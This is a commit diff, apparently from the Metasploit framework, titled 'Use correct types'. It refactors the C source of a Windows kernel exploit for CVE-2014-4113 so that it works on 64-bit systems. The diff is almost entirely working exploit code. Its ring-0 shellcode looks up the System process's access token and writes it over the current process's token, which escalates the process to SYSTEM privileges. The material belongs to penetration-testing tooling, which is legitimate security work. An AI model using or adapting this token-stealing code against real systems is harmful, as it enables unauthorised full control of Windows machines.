Use correct types

Author: jvazquez-r7

data/exploits/CVE-2014-4113/cve-2014-4113.x64.dll

@@ -24,6 +24,15 @@ typedef NTSTATUS *PNTSTATUS;
 
 #define PTR_SIZE sizeof(UINT_PTR)
 
+
+#ifdef _M_X64
+	typedef DWORD64 MYWORD;
+	typedef PDWORD64 PMYWORD;
+#else
+	typedef DWORD MYWORD;
+	typedef PDWORD PMYWORD;
+#endif
+
 typedef NTSTATUS(NTAPI *lNtAllocateVirtualMemory)(
 	IN  HANDLE  ProcessHandle,
 	IN  PVOID   *BaseAddress,
@@ -137,27 +146,28 @@ DWORD_PTR __stdcall get_threadinfo_ptr(void)
 
 
 // Search the specified data structure for a member with CurrentValue.
-BOOL find_and_replace_member(PDWORD pdwStructure, DWORD dwCurrentValue, DWORD dwNewValue, DWORD dwMaxSize)
+BOOL find_and_replace_member(PMYWORD Structure,
+	MYWORD CurrentValue,
+	MYWORD NewValue,
+	MYWORD MaxSize)
 {
-	DWORD dwIndex, dwMask;
+	MYWORD i, Mask;
 
 	// Microsoft QWORD aligns object pointers, then uses the lower three
 	// bits for quick reference counting.
 #ifdef _M_X64
-	dwMask = ~0xf;
+	Mask = ~0xf;
 #else
-	dwMask = ~7;
+	Mask = ~7;
 #endif
-	// dwMask out the reference count.
-	dwCurrentValue &= dwMask;
+	// Mask out the reference count.
+	CurrentValue &= Mask;
 
-	// Scan the structure for any occurrence of dwCurrentValue.
-	for (dwIndex = 0; dwIndex < dwMaxSize; dwIndex++)
-	{
-		if ((pdwStructure[dwIndex] & dwMask) == dwCurrentValue)
-		{
+	// Scan the structure for any occurrence of CurrentValue.
+	for (i = 0; i < MaxSize; i++) {
+		if ((Structure[i] & Mask) == CurrentValue) {
 			// And finally, replace it with NewValue.
-			pdwStructure[dwIndex] = dwNewValue;
+			Structure[i] = NewValue;
 			return TRUE;
 		}
 	}
@@ -170,19 +180,19 @@ int _stdcall shellcode_ring0(int one, int two, int three, int four)
 {
 	void *pMyProcessInfo = NULL;
 	void *pSystemInfo = NULL;
-	PACCESS_TOKEN systemToken;
-	PACCESS_TOKEN targetToken;
+	PACCESS_TOKEN SystemToken;
+	PACCESS_TOKEN TargetToken;
 
 	pPsLookupProcessByProcessId((HANDLE)dwMyProcessId, &pMyProcessInfo);
 	pPsLookupProcessByProcessId((HANDLE)4, &pSystemInfo);
 
-	targetToken = pPsReferencePrimaryToken(pMyProcessInfo);
-	systemToken = pPsReferencePrimaryToken(pSystemInfo);
+	TargetToken = pPsReferencePrimaryToken(pMyProcessInfo);
+	SystemToken = pPsReferencePrimaryToken(pSystemInfo);
 
 	// Find the token in the target process, and replace with the system token.
-	find_and_replace_member((PDWORD)pMyProcessInfo,
-		(DWORD)targetToken,
-		(DWORD)systemToken,
+	find_and_replace_member((PMYWORD)pMyProcessInfo,
+		(MYWORD)TargetToken,
+		(MYWORD)SystemToken,
 		0x200);
 	return 0;
 }